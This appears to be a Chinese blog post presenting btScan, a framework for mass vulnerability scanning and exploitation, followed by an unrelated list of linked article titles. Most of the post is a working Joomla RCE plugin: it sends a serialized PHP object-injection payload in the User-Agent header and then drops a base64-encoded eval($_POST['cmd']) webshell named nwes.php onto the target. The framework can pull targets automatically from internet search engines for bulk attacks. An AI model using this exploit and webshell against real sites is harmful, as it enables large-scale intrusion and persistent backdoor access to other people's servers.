批量漏洞扫描和批量漏洞利用框架btscan

目录结构

--lib 核心文件库

--report 报告生成的文件夹

--node 里面每一个py文件是一个攻击向量,添加扫描节点也是向里面添加文件

--crawl 通过空间搜索引擎抓取url或者ip的脚本

使用方法

$ python btScan.py
usage: btScan.py [options]* batch vulnerability verification and exploition framework. *
By he1m4n6aoptional arguments:-h, --help   show this help message and exit-t THREADS   Num of scan threads for each scan process, 20 by default-m MODE      select mode [config|script]e.g. -m script-n NAME      from node floder choose a script-c COMMAND   give an instruction when use script mode [verify|exploit]e.g. -c verify-u URL_FILE  input url file-i IP_FILE   input ip file-autoIP      get ip from space search engine and auto attack-autoURL     get url from space search engine and auto attack-v           show program's version number and exit

脚本存在两种验证模式,一种是通过加载模块,另一种是通过配置文件。复杂的可以通过加载脚本,简单的通过加载配置文件即可。然后攻击也有两种模式,验证verify模式和攻击exploit模式。 你也可以指定ip或者url作为输入格式,也可以自动获取ip或者url,那就是配合crawl文件下的网络空间抓取模块。

实例:

python btscan.py -n joomla -m script -c verify -u url.txt

-n 指定node文件夹下的joomla.py,-m指定为script模式,即指定加载模块的模式。-c指定模式为验证,仅为验证就好了,-u指定输入为url的模式。

python btscan.py -n joomla -m script -c exploit -u url.txt

同上,只是指定为攻击模式。

python btscan.py  -m config -c verify -i ip.txts

-m指定为config模式,-c指定为验证模式,-i指定输入的为ip模式,仅需通过conf目录下的scan_rule.ini的配置就够了。

插件编写规则

仅需要在node文件夹下新增一个py文件

py文件中重要的有两个函数verify和exploit函数,没有exploit攻击模式,仅需要verify函数,返回值有三个值,第一个值是返回是否存在漏洞,返回True或者False;第二个值是返回url,第三个值返回需要打印的信息。

示例(joomla.py为例):

#!/usr/bin/env python
#coding=utf8import urllib2
import urllib
import re
import cookielib, sys
import requestsdef checkJoomlaRCE(url):poc = generate_payload("phpinfo();")try:result = get_url(url, poc)if 'phpinfo()' in result:system = getInfoByJoomlaRCE(result, 'System')document_root = getInfoByJoomlaRCE(result, 'DOCUMENT_ROOT')if document_root == 'no info!':msg = 'vul, but get shell failed!'return False, url,  msgscript_filename = getInfoByJoomlaRCE(result, 'SCRIPT_FILENAME')if script_filename == 'no info!':msg = 'vul, but get shell failed!'return False, url, msgshell_file = getShellByJoomlaRCE(url, system, script_filename)if shell_file == 'no info!':msg = 'vul, but get shell failed!'return False, url, msgmsg = 'get shell succsss, shell:  %s' %shell_filereturn True, url, msgelse:msg = 'safe'return False, url, msg# print '[!] no vuls! url: '+urlexcept Exception,e:msg = str(e)return False, url, msgdef getShellByJoomlaRCE(url, system, script_filename):if 'no info' not in script_filename and 'no info' not in system:if 'Windows' in system:shell = script_filename.split('index.php')[0].replace('/','//').strip()+"nwes.php"else:shell = script_filename.split('index.php')[0]+"nwes.php"cmd ="file_put_contents('"+shell+"',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+'));"pl = generate_payload(cmd)try:get_url(url, pl)return url+"nwes.php"except Exception, e:return "no info!"else:return "no info!"def getInfoByJoomlaRCE(result, param):if "System" in param:reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'elif "DOCUMENT_ROOT" in param:reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'elif "SCRIPT_FILENAME" in param:reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'match_url = re.search(reg,result)if match_url:info = match_url.group(1)else:info = 'no info!'return infodef get_url(url, user_agent): headers = {'User-Agent': user_agent}cookies = requests.get(url,headers=headers).cookiesfor _ in range(2):response = requests.get(url, headers=headers, cookies=cookies)return response.contentdef php_str_noquotes(data):"Convert string to chr(xx).chr(xx) for use in php"encoded = ""for char in data:encoded += "chr({0}).".format(ord(char))return encoded[:-1]def generate_payload(php_payload): php_payload = "eval({0})".format(php_str_noquotes(php_payload))terminate = '\xf0\xfd\xfd\xfd';exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminatereturn exploit_template#verify vulnerable
def verify(url):cj = cookielib.CookieJar()opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))urllib2.install_opener(opener)urllib2.socket.setdefaulttimeout(10)ua = '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\x5C0\x5C0\x5C0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\x5C0\x5C0\x5C0connection";b:1;}\xF0\x9D\x8C\x86'req = urllib2.Request(url=url, headers={'User-Agent': ua})opener.open(req)req = urllib2.Request(url=url)res = opener.open(req).read()if '_SERVER["DOCUMENT_ROOT"]' in res:msg = 'vul'return True, url, msgelse:msg = 'safe'return False, url, msg#exploit vulnerable
def exploit(url):res = checkJoomlaRCE(url)return res

上面函数都可以自己定义,主要是verfiy和exploit函数,如果exploit函数和verify函数一样,exploit函数里面只要简单的self.verify(url)即可。

项目地址:https://github.com/he1m4n6a/btScan

批量扫描工具btscan相关推荐

  1. python爆破端口_挑战全网多线程批量扫描爆破弱办事端口工具,Python制造专属!...

    挑战全网多线程批量扫描&爆破弱办事端口工具,Python制造专属!-1.jpg (29.47 KB, 下载次数: 0) 2018-8-16 17:05 上传 前言 你学习Python的目的是什 ...

  2. Web漏洞扫描工具(批量脱壳、反序列化、CMS)

    一.什么是Web漏洞扫描工具 即是指"扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具",其中许多可能是由不安全或不正确的编 ...

  3. 【按文分图工具】可以批量扫描图片,按图片中的文字分门别类的软件,图片文字分类软件

    9-2 在有些工作中,经常会接收到非常多的图片,然后要对这些图片做分类,如果分类的依据正好是靠图片上的文字的话,那本文章正合适. 比如图片上面有一些文字,需要通过这些文字来对图片进行分类,如果图片非常 ...

  4. [批量主机存活扫描工具scanhost]扫描主机存活[python版本,非nmap版本]

    地址: http://blog.csdn.net/hujkay 作者:Jekkay Hu(34538980@qq.com) 关键词:主机扫描,主机存活,纯python版本,非nmap 时间: 2014 ...

  5. 漏洞扫描工具_Vulmap漏洞扫描工具

    本文来源于https://github.com/zhzyker/vulmap 已与作者联系 作者同意发送本文章 Vulmap目前支持以下漏洞 +-------------------+-------- ...

  6. 国内外有名的安全扫描工具,你知道几个?

    为什么80%的码农都做不了架构师?>>>    1. Nikto 下载 以下是引用片段: 这是一个开源的Web 服务器扫描程序,它可以对Web 服务器的多种项目(包括3500个潜在的 ...

  7. 网站漏洞扫描工具Uniscan

    网站漏洞扫描工具Uniscan 网站漏洞的种类有很多种,如何快速扫描寻找漏洞,是渗透测试人员面临的一个棘手问题.Uniscan是Kali Linux预先安装的一个网站漏洞扫描工具.该工具可以针对单一. ...

  8. ARP扫描工具arp-scan

    ARP扫描工具arp-scan arp-scan是Kali Linux自带的一款ARP扫描工具.该工具可以进行单一目标扫描,也可以进行批量扫描.批量扫描的时候,用户可以通过CIDR.地址范围或者列表文 ...

  9. BBScan:信息泄漏批量扫描脚本

    有些朋友手上有几十万甚至上百万个域名,如果把这些域名全部扔给wvs. APPscan这样的重型扫描器,显然是不太合适的. 对于一个拥有上万IP的企业,又如何快速定位可能存在弱点的机器呢? 试试信息泄漏 ...

最新文章

  1. 5.10. Web Tools
  2. 如何用简单易懂的例子解释隐马尔可夫模型?
  3. php 字符串的处理
  4. python导入excel数据-Python数据处理之导入导出excel数据
  5. Light Image Resizer6中文版
  6. Latent dirichlet allocation note
  7. ES6中的新特性:Iterables和iterators
  8. 【好程序员笔记分享】C语言之break和continue
  9. 有些车已经不能再买了!因为国五排放标准就要来了!
  10. Go 面向对象编程(译)
  11. javascript中encodeURI和decodeURI方法
  12. python 匿名函数 与 重要的内置函数
  13. html怎么设置自动音乐播放器,运用js教你轻松制作html音乐播放器
  14. 4种复制文件的方式性能比较
  15. AnyLogic建模笔记
  16. 安装企业微信和微信-ubuntu
  17. 将 5 万行 Java 代码移植到 Go 学到的经验
  18. 豆瓣社区:《如何高效学习》应用与心得
  19. uni-app下载和使用
  20. Java实现找回密码

热门文章

  1. Discovery直播 | 3D“模”术师,还原立体世界——探秘3D建模服务
  2. 鸿蒙OS麒麟659,麒麟659处理器相当于高通哪款处理器?
  3. Python标准库之pickle
  4. Qt (高仿Visio)流程图组件开发(九) 流程图 代码展示
  5. 利用cobbler 实现系统自动化安装及web管理
  6. sysctl.conf配置
  7. Windows 8 Skin Pack 1.2 For 7:将你的win7变换为win8风格
  8. 嘉立创专业板stm32拓展板十分钟快速入门
  9. Python编程:实现tail-n查看日志文件
  10. LINUX手动释放内存